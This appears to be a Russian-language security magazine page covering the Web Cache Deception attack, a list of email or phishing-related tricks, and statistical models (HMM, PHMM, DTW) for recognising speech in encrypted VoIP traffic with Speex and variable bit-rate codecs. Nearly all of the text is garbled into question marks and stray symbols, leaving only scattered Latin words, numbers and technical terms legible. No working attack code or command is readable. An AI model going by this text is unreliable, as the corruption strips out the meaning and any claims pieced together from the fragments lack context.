???�?????�??�???�?,�??�??�????�????�??�???�????�(???�????�????
????????�??� ???�??�????�??�?),� ???� ???�???,� ???????�?� ???�???�???
??� ???????�????� ????� ?????�?????� ????�?.� ??� ???�???� ???�???�?????�?
?????� ?????� ?� ?????� ????�??� ???�??�?� ?� ????� ???�????� ??� ??,� ???� ?????
???�??� ?????�?????� ????�?,� ?� ???????� ???� ???�???� ?????�???�?,� ?????� ????�
????,��????�???�??�???�??�???�??.
???�???�???� ???�????�????� ???�???�????� ???�????�??�???�?� ??????�
????�?� ???�???� (???????� ??� ?????�?????� ????� ????�???�???� ?????� ?????
????�???,�????�??????�??,�??�??�??�????,�??�???�??,�??�???�??�???
???�???��??�??�??�?????).�??�?????�??�???�?,�??�??????�??�??�????�
????� ???� ???????�????� ???�???�?� ?� ???� ???�?� ?????� ????,� ???� ?????�????
???�????� ?� ?????� ???�??�?,� ???� ???�???,� ?????�????�?� ?� ???� ?????�???�?
?�??�??�??�??�?.�?????�??�??�???�???�???�?�????�???,�??�??�?????�
????� ?????�????� ????�??� ??� ??� ???�?� ??????� ???????�??� ????�???,� ???????�
??????� ??????� ?????�?????� ????�??� ????�?� ?????� ????,� ???� ????????� ???�??
???�?� ????�????� ????�?????�???� ????�?????�??� ?� ???� ??� ????�?� ?� ????�
??????,�?��?�??�?�?????�???�??�????�???�????�????�???�??.
WCD-?????:�????????????�??-????
Omer燝il.燱eb燙ache燚eception燗ttack�//燘lack燞at.�17
WCD????�?�(Web燙ache燚eception?�???�?????�??�???????)��??�????
???�??� ????????,� ???????� ???�??� ???� ????�?� ???????� ???�???�????� ?????
???�????�??� ???????�??????� ?� ????�???�??.� ??????�????� ??????�???
???????�????� ?� ???????�???� ??????�????� ???????�????,� ???�??�??� ????�
????�????�?� ?????� ????�??�???�?????� ???�????�????�??� ???????�??
????�???�??�??�???�?????�??�??????�?,���?????�??�??�???�???�????
???�?????�??�??�??�????�??�?�???�???�?????�?.
WCD????�?� ??� ????�????� ????�?� ?� ???????�??.� ?� ???�???� ????�???�???
??�??�?????�??�????,�???�??????�??�?�??�???�??�???�????�?��?,
?????� ????�??� ???????�???� ????�???� ??� ???� ????????�?.� ???�??�????
WCD????�?� ???�????�???�?� ??????�??�???� ??????�??� ???�?????� ????????�
?????��??????�??�?????????�????.�??�??�????�???�?�??�???�?�???�
?????�??燱CD????�?�??�??��?????�??�???�??�??�??.
??????????
??� ????� ???� ?????� ?????�??.� ???�??� ???�??� ????�??�??� ???�??�?????
?????� ????�?� ?� ???�????!� ??� ????�?� ????� ????????� ???�?� ??� ??????�??.
???????,�???�?,�???�?�????�??�????�?�?????�?????�???.�)
?????
????�?????
?????�????��?????????
?????????
??????
?????????
???????????
?????????��??????�???????
??????????�????????
??�????�??�???�????�???�?�??�???�?�?????�??�??????�
???�??�??�?,�?�??,�???�??�?????�????�??�??�?�???�
?????��??�??????��??�??�??????�?????�????�??�????�
??,�??�?�?????,�??�???�????�?�??�????�?????��????
?????�???�??�???�???.
?�??�?�??�?,�??�??�?�???�????�???�?�???�???�??�???�??�??�????�
?????�??�???�?�??�?�????�??�???????�??��???�??.�?�?????�?�???�
??�?�??�??�??�????�??�?�??????�???�??�??????�????�??�?�??�???
??�???�??�?�?????�??�????
???� ????� ????�???�??� ???�??� ?� ???�??�???�????� ???�????� ???????�?
???�????�?� ??� ????�???�??� ???????�??� ?� ????�??� ??????� ???�???.� ?
??� ?????�???,� ???� ?� ??????� ?????� ???�???� ????,� ????�?� ?� ???� ?????????
??�??????.��????�????�???�?��??,�??�???�?��????�??�?�???�?�????�
???�??�???�????,��??�?????,�?????�????�???�??�???�???�?�??�?????
???�???�??.
??�????�??� ????�????� ?� ??� ?� ???�?????�?� ????�?� ????�??????�?
?�????�??�??�??�?�??�???�??�???�???�??.��???�??�????�??�??��???
???�???�???�??�???�?�??�????�??�???�??�???�??�??�???�????,�??�?
�??�?粻???�???�?????�??�???�(???�??�???)�??�??�???????�?????�??�?
(??�???�???�???�???�????�??�??�?).
??�??� ????�????�?� ?� ??????�??,� ???�?� ????� ????,� ???� ?� ????� ?� ????.� ?
????� ??????�?????� ???�??� �???�??�??� ????�????粻 ?� ???�?????� ???�????:
�??????�????�??????�??�??????�???,�???�??�??�?�?????�??????�???�
???�??� ??????�?�.� ??� ????�?� ???� ??????� ???�?????�??,� ??� ???� ????�????�?
???�?� ???????�??� ?????� ?� ????�??????�?� ?� ????�??,� ?????�????�???,
??????�???�???�?��???�????�???�?????.��??�??�??�??�???�????�??
????�?�?�?????�??�???�?��?????�?��??�?�???�??�??�???�????.
???�?�??�?,��??�??�??�?��??�????�???�??�????�???�???,�??????
???�????�??�??�??��??�??��?�??�????.�???�??????�??�???�?�???�?
??�???�?�???�??�?�???,�?�???�???�??�?????�??.�????�????�??,�??
???� ???�?� ????,� ?� ???� ?????�???�??� ????�?????�?� ????�????� �?????.????�
????�.
??�??�???� ??� ???�??� ???� ????� ?� �???�?� ?????�?????� ?????�
???�?????�???,��??????�??�?�??�??.�????�??�?????�??�????�??�??
??� ???�???.� ???� ?????�?????� ????� ?� �??????�???�??粻 ???�???� ???�??
???�???�????�????��??�??�???�?.��??�??????�??�???�?�????�???�
???�??� ???�???�?� ?� ????�???�??� ??� ?????� ?� ?????�??� ????� ???� ???�?????�
???.� ????�??,� ???� ???� ??� ???�??� ????????�???� ?� ???�????,� ?,� ?????�??,
???????�??�???�????�??????�??.
1.牜????????????????�??????????�
????�?� ????�??�??�???� ???�??� ??� ?????�????� ??� ????�???� ????�??�??
????牜???粻?�??�?�????�??�??�(???�??,�??�??�????�?�??�????�??�??
??????�?�???????????�???�?).�???�?�??�?�??�?�???�???�????�(????�?
???????�?� ???�??)� ?� ????�?� ??� ???�????�??� ????.� ?� ????� email� ?????�???
?????�??�??.�??�?�????�??�??�??�?�?????�?�??�??�???�?�?�??�???:
�?????�???�?,� ???�??????�,� ?� ????�?� ?� ???� ?????� ?� ????�?.� ????�????
??�??�???�????��????�???.
???� ???� ????�?????� ?� ???�??� ???�?????� ??????�???� ???�??�????.� ???
????�??�??�?�???�???�???.��????�?�???�??????��????�?�17�???
????� ????�???�?� ???�???????� ??????�?� ????�????� ?????� ???�?� ???�??�?
?????�???� email.� ??� ????� ???� ?� ???�??� ?????� ??� ????�????� bug� bounty,� ????�
????� ???�???????� ??????�???� 150� ?????� ????�????� ?� ???�?� ?� ???�?� ????
????�?�??�???�???�???�???�???�????�????�??�?.
????� ????� ???�???�?� ??????�???� ?????�????�??� ????�?� ?� ???�????�?
????�?�??�?????�??�??�?,�?�??�?�??�?????�??�?????,�??�?????�?
?�??�????.�??�???�?�??�??�???�????�??�???�???�??????�??�??�????�
?????�??.�????�???�?�??�???�?��??,�??�??�?�???�?�?�???�??�???�
?????�??�?燽ooking.com�??爌aypal.com,�?��?�????�??�????�??�??.
?� ????� ???�?� ??� ????�?� ?????�?� ???�?� 10%� ??????�????.� ???�????�??
???????.
?�??牜?????粻????�?�18???.
?????? ?燝oogle Analytics
???�??�?��??�??�????�??�??��?�?????�18�???.��??�?燝oogle燗na?
lytics� noreply?analytics@google.com� ??� ???�???�?� ????� ????�??� ?????� ????�
??????� ????.� ???�???� ?????�??????,� ?� ?????� ???�??,� ???????� ???� ???????�
????.
�??�??�??�??????粻?�??????�.��??�??�???�?�?�?:�????�??�????
???�???,�??�????,�????�????.
???� ??????�?� ??� ????�?� ????�???????� ???????� ??� ??� ???�???�??� ????
?�???????�?�???�?????.
??�??�???�??????�??�?�??�??�?�?�???�?�??????,�?��??�???,�??�?
????� ???�???� ????�???�???�???� ???�???� ???�?� ???????� ?� Google� Analytics
?�??�????爀mail��???�??�??.
2.牜???????????�
????� ?????� ???�?????� ??????�?� ?????�?� ??� ????�?� ???�???� ??????�??� ????�
?????�?.� ???�???�?� ????� ???�????� ???�????� ?� ???�???�??� ???�???�?,
???????�??�?�???�???�?�??�????.�?,�??�????,�??牜??????�???�????�
??�.�???,�???�???�?????�??�??�??????�???.
??�???�??�???�???�???????????�????�????�???�??�???�????�?�??�?
????� ???�????.� ??????�???� ???� ??� ???�??� ???� ???�???� ?� ???�??� ???� ????.
?????�?,�??�?��???�??�???�????�??�???�?????�??,�??�?�?????�???
??� ????�???� ????�?� ?� ???�?� ??� ???�??.� ???�???� ??????�??� ????,� ?� ???�?
??????�??�????�?????�?????�??.
3.牜????????�???????�?�???????�
???�??�??�?�???�??�??�??�??�?????�?????�?�????�?�?�???�?�???�?
?�???�?.�????�????:牜???�???,�??�??�???????�?�???�??�????!�????�
?????�?�?????�???????�?????????�?????�????�??�??�??�??.��??�????�
??,�...�.�???�?�????�???�???�?牜????�???�?�?�??�????�,�??????�????
???�?� ??� ???� ????.� ?????�?,� ???�?� ??� ???� ???�????� ??� ???�??????�?,� ??� ??
???�???�?,�????�??�?�???�?�???�???�???�?.
4.牜???????�??????�
???�?� ???�?????� ????� ????,� ?????�?????�?� ????� ??????� ????�???�??� ????�
????��???�???�??�?��???�??�??�?�??????�???�??.�??�????�?�???�?
????�??�??�???�??�??????,�??????�??�??�??�?????�???�??�?�???�???�
??????.�????�???��??� info@,�??�???�?�??????�????�???�?���??�?
???�?�?????�0�????�??????�???.�??�?�??�?�??�?�??�???�???燿irec?
tor,� dir,� admin,� buhgalter,� bg,� hr� ?� ???� ?????.� ???� ???�??� ??� ????� ????�??
???????� ????�?,� ???�???�?� ?� ??????�?� ??� ?????� ??� ?????� ????�??� ??� ????�
?????�??�???�????�??�??�?�??????�??�?.
5.牜?�??�??�??�????????�
???�?� ????????� ????�?????�??� ?� ?????????????� ??????� ???� ???�?� ?� ??????�
????�??�????�????,�?�??�?�?????�???�????�????�??�??��??�????�?
???�?� ????� ?????�???� ???�????.� ????�?� ??????� ??????????� ???�????�??????�
???�(????????????�??)��???�??,�??�?�??�?????�????�???�????�????.
????????�??� ????�????� ???�????�?� ????�?????�??� ???�???� ??� ???�????.� ?
???�??� ?????�?????� ?� ???????� ?????� ???�????� ???�?� 10� ?????� ??????�??.
?� ???� ?� ????� ???�??,� ???�?� ??????� ????�?????�?� ????� ?????� ???� ???�????
???�???�????�?.
6.牜???�??�?????�
???�?????�???�?????�?�??????�???�??�???�???????��??�????�?�??
????�?,�???�??�????�?�?,�??�??�??�??�???��??�??�???�???�????�
??????.� ???� ???�????� ???�????� ????� ????�?� ???�??� ???�?� ??????�?� ?????�
????�?????�?�??�?�?�????.
???�????,� ??� ?????� ?????�???� ????�?� ?� ???�???� �???� email� ???� ?????�
????粻 ???� �?????�?,� ???????�??,� ?????� ??????� ???�?�.� ?� ????�?
???�??????��?20%�??�???�??�??�??�????�???�?�(????�??�????�????�
??��???�??�??�???�?).��????�???????�??�?�????牜???�?,�?????�????�
??.� ???� ?????� ?� ?????� ???�??� (????� ???�????)?粻 ???� �????,� ???�??� ????.
?????� ??� ???�?????� ?� ????�??.� ???� 24??� ???????� ???�?.� ?????� ?????�
???????�.� ??� ?� ?� ????�?� ?� ??????�??� ???�?� �??� ????�????� ?????�?????
????�???�??�???...�,�?�??�?�?????�??�?�??�???�??�??.
?� ?????,� ???�?????�?� ????�????�??� ????�????� ?????�???�?� ?� ?????�
????�???�?�?�??????�???.
7.牜????????�???????�
????�??�????��?�????�?�??�?,�????�?�??�????�?��??.�???�??????,
??�????�?????�??�????????�?�??�??�??�????�??��??�????,�??�?????�
??� ???� ??????�???�?� ????�?� ???????�????.� ???� ???�????� ???�???,� ????
?????�???� ???????� ??� ???�????�??,� ???????� ?????� ????�???� ????� ????????�
????,� ????�?� ???�????�?� ?????�????:� �??�??�???,� ???????�??,� ?????�??
?????�???��??�??�?????�??�?.�??�?�????�???�???�??�.
???�?� ??????� ????�???�?,� ???�?� ????????� ???�?,� ?� ????�?????� ??????�
???� ?� ???� ????,� ???????� ???�???�?� ??� ????????,� ???� ??� ??� ???�?� ???�?
?�??????.��?��??�??,�??�??�??�?,�????�????�???�?��???�?�??�??:
???� ????� ???�?� ?????� ???????.� ???� ?� ????� ?????�???�??� ???�???� ?????
????�??�??�???�??�????�??�???�????�????�????.
??�?� ???�?� ??????� ???�?� ??????�???,� ??� ???�?� ???�?� ??????� ???�?????:
�?????�???�?.� ???�?� ??� ???????� ?� ?????�?� ??????�????,� ???� ?????� an?
drey.b@company.ru� ???� ????????� ?� ??� ?????� ??� ???????� ??� ????.� ?????� ????�
????�???�.� ???�?????� ?????� email,� ???????�??� ??� ????�?� ???�?????� ???
?????�???� ?� ?????�????� ????� ???�????,� ?� ????� ???�?????� ?????� ??????
??????�???.
8.牜???????????????????�??�
??�?� ???�?� ???�?????� ????�??�?????� ??� ????�?� ????�??� ???????�??� ?????�
????�??,�?�??�??�????�???�?????�??????�??�?.�??�????,�?????�??
???�?� ???�??????� ??????� ??� ?????� ?� ???�???� ???�???????�???�?:� �???� ??
??�?????�??�???�???,�???�???????�?�????�???!�??�??�?�??�????
???�?????� (????� ???�????)?!� ??????� ??� ????�?� 123�.� ??� ????� ????�??�????
???�?� ???� ??� ???�?� ???�?????� ?????�????� ?� ?????�??� ?� ???�????,� ???�??
??� ????�??�???????.� ??� ????�??�??� ?� �??�??� ????�.� ?� ????� ??????�??
?????�???�??�?�????�???�?�????�?????�??�??????�%�?????�????.
9.牜????�?�???????�
??�?�??�??��??�?????�???�???�??�???�??�??�?�???�?????��?????�?
??� ?????� ???�??� ????.� ??????�???� ????�?� ?� ???�???� �????????� ????�???
??????� ???�?� www.site.ru/random.html� ??� ??????�?!�.� ??� ?� ????�????�??� ????�
??:� ?� ???�??� ????�?� ???�??� ?????� ????� ????,� ?� ????� ????�?� ?????� ??� ???�??
URL.
10.牜?????????????�
?�??�?�??�???�??�?�????�??�???????�?.�??�???�?????????�??�??�??,
????�??�?� ???� ?????�???� ??????.� ???�??� ???????,� ???????� ????�?� ?????
??�??�?��?????�??�?�?�???,�?�????�???�?�??????�??????.
??�???� ???�????� ??� ????,� ???�?????� ??� ????�??� ?� ???�????� ???�????.
?�??�??�???�?��??�???�??�???�?�?�??�????�???�?????,�??�????
news.ru/?1234.� ????????� 1234� ???�???�???�?� ?� ????�????�???� ???�????
???�????.�?????�?�??�?�???�???�?,�?�????�???�?�??�??�?????�???,
?�?????�???��??�??�??�????�??�????,�???�???�??�???�??�?�?�???.
???�?� ??� ????,� ???�?????� ???�??� ??????�??� �??�????� ...� (???�????� ????�
?????� ???�??)� ???�?� ???�???�??�?�.� ?????� ????� ?????�??� ???????
?� ?????????????� ??????�???,� ?� ?� ???� ?� ????�?� ??� ?????� ?� ?????�????????�
????�?????�??�?�(???�???).
??????
??�??�?,� ???� ?� ???�??� ??� ????�??� ????�???�??� ???�????� ???�????
??� ???????,� ?� ???� ?????� ????�???�??�??� ???�??.� ?� ???� ?????� ???�??,� ???
???�??�?�??�???�?�?�??�????�???�??�??�???�????,�??�?�????�???�
???�???�?�????�???.
?????
?????????
VOIP
???燩RISM�燘ULLRUN
?????????�?????????
??�?????????�?????
VoIP???????�??� ???�????�?� ????�??�???
???????� ?� ???�???�????� ???�?????�??�??
???????�??�??�??,�??�???�?�???�??????�
??�????�??????�??�??�???�??�??�????
???� ????�??� ???�???�?� ???�????�????.
?� 2013� ????� ???�?� VoIP????�??�??� ????�
?????�?� ?????� 150� ???�?????,� ???� ???
????�?�???�??????���17�???�� ????�
??� ???�????.� ??� ???� ???�??� ???�?????�
?????�??�?� VoIP???????�?????� ???�??�?
??� ?????�??� ???�??????,� ???�???�???
?� VoIP????�?,� ????�?????� ???� ?????� ????�
?????�????�?????
?????�????
???????�?�?????????????
????????????.�??????????
??????,�????????????
�?????�?????????�
????????????�???????�,�
?????????�?????�???????
???�???????????.�??????
????????????????
?????????��??????????????
????????,�????????��????
??,�????????????
?????????.
vedacoder@mail.ru
??�??�??�???�??�?��??�??�????�??�??�????�?� ???�?� ?????�????� ????�
???�?,�??�??�??�???�???��?????�??�???�????,�??????�??�?????�?????�
???� ????�???�?� ???�?� ???� (?????????� ????�????�??� ???????�????)� ?� ???
(?????� ???�?????�????�??� ???�?)� ?????� ???� ??????� ???�????�?� ???�?
PRISM� ?� BULLRUN� ?� ???�?� ???�?,� ???� ???�???�???,� ???� ????� ????� ????�
?????�??�?????�???.
??�??� ??� ????�??� PRISM,� BULLRUN� ?� ???�??,� ??� ?????�??� ????� ??????�
????�??????�??�?�?????�???�?????,�?????�????�?�?�????�????�??
????????
???� ????� ???�?� ???�?� ?????� ??� ????� ???�??,� ???�?� ???�???� ?????�???�?,
???�燰oIP�?????�???�?????�??�??�??.�????�?????�?�??�??�燰oIP?????�
?????,� ???� ???�???,� ?????�???�?� ??????� UDP????�???�?� ?� ?????�??� ???�?
??????�?�?�??�???�?燬RTP�(Secure燫eal?time燭ransport燩rotocol��??�????
???????�??� ??????�?� ???�??� ?� ??????� ?????�???� ???�???),� ???????� ????�
?????�???� ???�??�?� (???�???�???� ????�??�????)� ?� ???�??????� ????�???�
????.�??�???�??�????�??�????,�??????�?????�???�?�?????,�??�?�??
??� ?????� ???�??,� ???� ?� ????�??� ????�??�??.� ???� ?????� ??????�?� ????,
?????�??,� ????????� ??,� ???�???????�??� ????�?� ???????�??� ???�?� ???????�
??????�??�???�?????�??牜???�????�??粻VoIP???????�????.
???�????????????�????�??????�?�?????????????
???????????
????�???�??� ??� ???� ????�??�????,� ???????� ???�???�???� ?� VoIP????�????,
????�???� ??� CELP?????�??�?� (Code?Excited� Linear� Prediction� ?� ???????
?????�??� ????�??�????),� ???�??�????�??� ???�?� ??????�?� ????�???�???
??� ?????�?� ????.� ???�?� ??????�?� ?????� ??????�?� ?????�??� ???�?� ???� ????�
????�??� ???�????� ??� ?????� ??????�?� ???�??,� VoIP?????� ????�?� ??????�???
????�??�???� ?� VBR???????� (Variable� bit?rate� ?� ????�??�??� ?� ???????�??
???�??�??).�?�?????�???�???�?????�?,�??�????,�???�??�??燬peex.
???�??�????�??�??�?�???�??�?燙ELP
?�???�??�??�????��??�?�??�????�????�??�??�???�??�??�??.燬peex,
???????� ?� VBR???????,� ???�???�???� ???????� ???�?????� ????�??� ???�???�
???,�??�???�??,��????�???��???�???�????�??�???�??��??�?????
???�?� ???�???�???� ???�???�??�??� ???� ???� ???�??�??.� ???�??� ??� ?????�?
????� ??????�???� ???�??�???�??� ????� ???????� ???� ???�?,� ?� ???????� ????
???????�??�?????:燬peed爏katers爏print爐o爐he�nish.�??�????�??�???�???�
????� ???�????�?� ????�?� ??� ???????� ????�????� ????� ???�?.� ??� ?????�?
????�???�???� (??�?????)� ??????�?� ????�???� ????�??�???,� ???�??�?� ?� ????�
????�????�??�(?????�????�??)�??????,�??????�??�?�????�??�?�???�
?????� ??????�???�??� ?????�??� ???�???� ?� ?????�??� ???�????� ???�?� ??????
????�??�??�??�????�??.
???�??????�??�?�??�??�?�??�??�??????
????,�???�?�??????�??�??????�????�???�?�?????�????�???�???�???
???�????� ????�??�?� ???�????� (???????� ??????�???�?� ?� ???????� ???�?????�
?????� ????),� ???�?� PHMM?????�???� (Pro?le� Hidden� Markov� Models� ?� ????�
?????�??� ????�??� ????�??� ???�??�???� ??????),� ??� ???�?� ?????� ???�???
???�???�???�?,�??�???�?�???�??�???�??�??�??�?�??�?????.��??�???�
??�???�?????�?????�??,�??�???,�???��??�??�?????�???.
?????�?燰OIP�?�???????�??????
PHMM?????�??� ?????� ??????� ?????�???�?� ?� ????�??�??� ???�????� ???????,
?�?�???�???�?�??�?�????��????�???�?�?????�??�?????�??�?�???.
????�?�????�?燩HMM?????�??�?????�?????�???�?��??????�????�???�
?????�????�???.
???�?� ????,� PHMM?????�??� ???�???�???� ?????�??� ?� ???� ????�?????�??
?????�????�???� ????�??�???.� ??� ??� ???�????,� ?� ??� ????????� ???????.
???�?� ??????,� PHMM?????�??� ??� ?????� ???�?� ????�???� ??� ???�??:� �????
???�?� ?????�????� ?� ????� ?????�?� ???�????�??� ????�??�?????�,� ??� ?????
?� ????�??� ???�?????� ????�???� ??� ???�??:� �????�????� ??� ????????� ???�?
?�???????�??�?�????????�????�????�???�???�??�????�
??�??� ????�??,� PHMM?????�??� ?????� ???�????�???� ????�?� ??� ???�?,
??�??????�??�???�???�?�??�?????�???.�???�?�??�????�??�??�??????
???�???�?� ???�????� ???�???�?� ???????�???�?,� ???� ???�??�?� ???�?????�???
PHMM?????�??� ??� ?????� ???�???,� ???� ???� ????� ???�????�?� ???�???�?� ?????
???�?� ???�?� ????�??�???� ????� ????� ???�?????.� ???�?� ???�???� ???� ????
???�???�??�???,�??�?�???�?�??�?????�?��??�????.
?????????�???�燚TW-?????????
DTW?????�???� (Dynamic� Time� Warping� ?� ??????�??�??� ????�???�????� ????�
???�??� ???�?)� ??� ?????�???� ???�???� ??????� ??????�????�?� ???� ???????
?????� ????�?????�??� ??????�???� ?� ???�????�????� ????.� ??� ???�????
????????� ?????�??� ???�?� ???�?� ???�?????� ?????�???,� ???�???�????�???
??�???�?��???�?�?????,��???�??�?�??�????�?�?????�???�?��???�
???�??�?????��??�?????�???��??�??�??�??�??�?�??�???.�??�???�?
??,�??�??�???�??�??�???�????�???�??�???.�??�????,�?????�??�????
???�??????�???��?�?�??�?��????��??�?�???????,�?�??�???�???�
????�??�??�?????,��??�??�??????�????.�??�?�?????�?燚TW??????�
???�?� ???�?� ?????�??� ???�?� ???�??� ?� ???�??� ????�????.� ???�?� ???�?????�
???�?????�?�??�???,�??�???�??�??�??????�?????�????�?:
0���
0���
??�?�???�?????�??�??�????�?牜?�??�,�?�??,�??�??�?,�???�?�???�????�
??�???�?�??�?.�???�?�???�?�???�??�?�????�????�???,�?�??�??,�??
?????�?�???�????�?�??�?�?????�??�????�??:�??�??�??�???�?�???�?
?????�????,�??�??�?�??�??�??????�??�????�(25?26).牜???????粻?????�
?????,�?????�?????�?�?�????�??�?,�???�???�?�??�??�??�????�?????�
????.� ??� DTW?????�???,� ????�????� ???� ?????�?,� ???�???�?� ??� ?� ???�??
??????�???.�???�?�?�?�????�???�?�??????�?????�?�?燚TW?????�??�?,
???�???�?� ??� ?????�?????� ????� ????� ?????� ????????�??� ???�??�?????� ?
PHMM?????�???.
??�??�????�???�?� ??�?� ????�??�???,� ???� PHMM?????�???� �???�???�
???�?� ??� ?????�????�???� ????�??�???� ?� 90%??� ???�?????,� ???�?� ???� DTW?
????�???� ????� ????�?� 80%??� ?????�??.� ?????�?� DTW?????�???� (???????
?�???�??�??�??�??�?�??�??????�??�??�??�??�??��??????�????�???�
?????�????�???)�??�???�?�???�??�???,�??�?�???????,�??�???�?�??�?
?� ????�????� ?� ???� PHMM?????�???� (?� ???�???�?,� ???� ???�????�????� ????�
?????�???� ????�??�???).� ?????�?,� DTW?????�???� ???�???�?� ???�?????�?
???�???,� ???� PHMM?????�???.� ???� ???� ???�??�??�??� ????�?????.� ????�?
???�??�????�??�????�?????�??�??�?????�??�?�????�???�???�??�??.
???????�???????燞MM-?????????
HMM� (????�?� HMM,� ?� ??� PHMM)� ????�???�???� ?????� ???�??�???� ???�???�
?????�???� ??????�???�??,� ???????� ??????�???� ???�????� ?????�?,� ???�??
???�???,� ?????�??� ?????�?????�??�??� ?????�??� ????�????,� ???�??
??� ???????�??� ???�???� ??????�?� ????�???�???� ?????� ???� ??????�???� ????�
???�???� ???�???.� ??????� ???�?� ????�???� ????�?� ??????�???� ?� ???�?????� B
(begin)� ?� ?????�???�???� ???�??????� E� (end).� ?????� ???�??�???� ???�?????,
?� ???????� ?????� ?????�??� ???????� ??� ??????�?,� ????�???� ?� ????�???�???
?� ???????�??� ???�??�?� ??????�?� ???�?????.� ??� ????� ????�??????� ???�?
???�???????� HMM?????�??� ??� ???�??� ????� ????�?� ??� ????�?� ???�?,
??� ???????� ???�???�???� ?????�??� ?????�?� ?????.� ???�?� HMM?????�??� ????�
????�???��??�?????燛,�??�?????�??�????�?�????�???�???.
???�?????燞MM?????�???�??�?�???????�?????�??�????��????�??,
???????� ????�?� ???�????� ???�??�???.� ???�????,� ?????� ???� ???�????�??
HMM?????�???�?????�???�?�??�????�????�?????�??�????�??�?�?????�
???� ????� ???????� ?� ???????� ???�??,� ???????� ???????� ??� ???�???�?
?�????�????�??燰oIP???????.
???�??燞MM?????�???
??�?� ?????�??�?� ????�??� ???????�??� ???�?????� ?????,� ??� ???????� HMM?
????�??� ?????� ????�?� ??� ???�?� B� ?� ???�?� E� (?� ?????� ???�??� ???� ???�??�?
??????�?�??�???�???�???????�?),�??�?�??�??�???�??�???�???�??�???
(????�??�?????�??�??�???,�??�??�??�???�??�???)�???�?????????�????�
???� ???�??� ????,� ??????????�???�??� ???�??� ?????�?.� ???� ??� ?????
?�????�??�???�????�??�??�??�???,�??????,�??�??�??�?,�??????�????�
???�??� ???� ???�??�?� ????�???�??�??�?� ????�???????�?� (????� ??� ???�????�
?????� ??????�???� ?� ???� ???�?� ?� ?� ???,� ???� ???� ???�?� ???�??� ???�???�?� ????�
???�?).� ?????� �??�??� ?????�?粻 ?????� ????� ???�???� ???� ??????� ??�????�?
?????�?�(???�??,�??�????,�??�???�????).
???�?� ????,� ?� ???????� ???�????�????� ????� (?� ???� ???�?� ??� ?????�?????�
????�?????�??�??,�??��????�??�??)�??�?�????�?�????�????�???,�???�
????�?� ????�???,� ???� ???�?????� ????� ?????�?� ?????� ???�???�???�?� HMM?
????�????.� ???????�??� ???????� ???�??� ??????� ???�???�?� ??????� ???� ????�
????�?�?�???�???牜???�????????粻?�???�???�?�??��??�?.
???� ?????� ??� ????�?� HMM?????�???� ???�??????� ?????� ????�?????�??
???�?,� ??� ???????� ????� ???�????,� ?� ???�?????� ?� 66%.� ??� ?????� ???�??� ????�
?????� ??� ?????� ???�??�???,� ?????�?� ????� ?????� ????�??????� ??????�????
HMM?????�???�燩HMM,�??????�?????�???�?�??�????�???�???�??�???
???�???�???�?�?????�??�?????.�??�????,� ???�????�??�????�??�???,
???� ???� ??????� PHMM?????�???� ????�?????�?????� ?� ?????�????�??� ????�
????�??�?��??�?�(?�??�?????�????�??�?????,�??�???�?�???�??????�
???�??�?,�?�??????�???�??�????)��??�?????�?�%.
???????�???????燩HMM-?????????
PHMM��??�??�??�???�??�??�??�?????�????燞MM?????�???,��??????,
??????�??�?????牜????�???�???粻(????�???��??�??燤),�??�?�??�???�??�?
???�?????牜?????�?粻(???�?��??�??營)�牜???�????粻(???�?��??�??燚).�???�
????�?�???�???�????�??�??????燩HMM?????�???,��???�??燞MM??????�
?????,�??�??�?�??�??????�?????�????�??�????�?燗?B?C?D,�???�???�??
???�???�??�?�?�??�?????�(???�????,燗?B?D)�??��??�??�???�???�????�?
(???�????,� A?B?X?C?D).� ?� ???????� ??????� ???�????�????� ?????�????�???
????�??�???�??�??�????�??????燩HMM?????�???��??�??�????�????�?.
??????� ???� ?????�??� ???�??� ????�??�???� ???�?� ???�???�?,� ????� ???�?
????�???�?�????�?????�(???�?,�??�????,�???��??�?�??????�??�????�
???�???��?�?�??�?).�????�???�??,�???�??�??�?????燩HMM?????�???
???�???�?�???�??�???�????�??�??????�??�?????�(�???�???�???�,牜??????�
??粻 ?� �??�????�),� ???????� ???�???�?� ???�?????� ???�?� ???????� ???????
?� ???�??� ???????� ?????�?� (?????�????�??� ???????� VoIP????�???� ???� ????�
??????�??�?).
???�??燩HMM?????�???
??�???,� ???�???�?� ?� ?????�????�??� ????�??�???� ???????� ??????,
??� ???????� ???�?????�?� ???????� ???�?,� ???� ???�???,� ????�???� ???�???
??????�?� ??????�?� (??????�??� ??????� ???�?????),� ???� ???�???�???
???�????�???�??????燩HMM?????�??.�????,�??????�??�??�??�???�???
???????� ???�?� ??� ???�??,� ????�?????� ??� ???�??.� ???� ?????� ???� ???�?
?� ???????�?� PHMM?????�???� ?????�???� ????� ?????� ???�?????.� ?????�??
???�??�?�???�????�?????�???�??�?????�牜???�??�??粻(????�?�??�??
Random).� PHMM?????�??� (???�?� ?????�????� ???�??� ???�????)� ??????�??
?�??�??�?????,�??�?��???�?�???�?????�?�?�?????,�??????�?�????�
????�?????�???�???�???�??�??�?.�??�?????燩S�(Pro?le燬tart)�燩E�(Pro?
?le燛nd)�???�?????�?�??????�??�?�??�??�??�??�??????��??�???�??
??????� ??????.� ?????� ????�?????� ??????�????� PHMM?????�???� ???�??�?
???�????�???� ????� ??� ???�?,� ???????� ????�??� �?� ???�??粻 ??� ???�?� ????�
?????.
PHMM?????�??�???�?�?????�??�????�????�??�????�???�???�??�
????
??�?????��???????:�????????????�????,�?�??????
????�???????
???� ?????� ????�???�???� ?????�????�???�??� ????�??�?� ??� ????�?� PHMM?
????�???,�??�?????�??????�???�??�??�???�???�?�??�????�??�????�
???�???� ?� ?????� 2000� ??????�??� ???�?� ??� 20� ???�??� ???�????� ?????.� ???�?
?????�????� ???�???�??�???� ???�??�?� PHMM?????�??� ????�?????�????
????�??�?????��??�?????�?��?�%:�??��?��??�??�??�????�????�
??????�??�??�???�?�%,�??�?????�??��%.
??�??�????�???�??�???�??�?,�???�???�?????�?�????�?�???,�???�???
?� ????� ???� ??� ???� ???????�???� Linux� ?� ????�??�???� ???�??� VoIP.� ????
??�????�?????�?�??�??�??��??�???��???燬IP???????.�??�?�?????�??
??????� ???�??� ????�???�??�?� ????�???� ???�??�?,� ???�????�????� ???????
?????� ?� ?????� Speex� over� RTP.� ?????� ???�???� ???�?????,� ???� ?????� ????????�
???�燰oIP????�????,�??�??�???,�????�???�?�?????燭CP????�???�?��???
??????�?� ??� ?????????� ??� ????�??�?????� ???�???�??� ?� ?????�??� ????�???�
?????� (SIP,� XMPP,� H.323),� ????� ???�?� ???�????� ????�??�???,� ???�????�??
???�??�???�???�??�???�??�(???�燬kype,�??�????).
??�??�????�???�??�???�??�?�??�?????�燩HMM?????�????
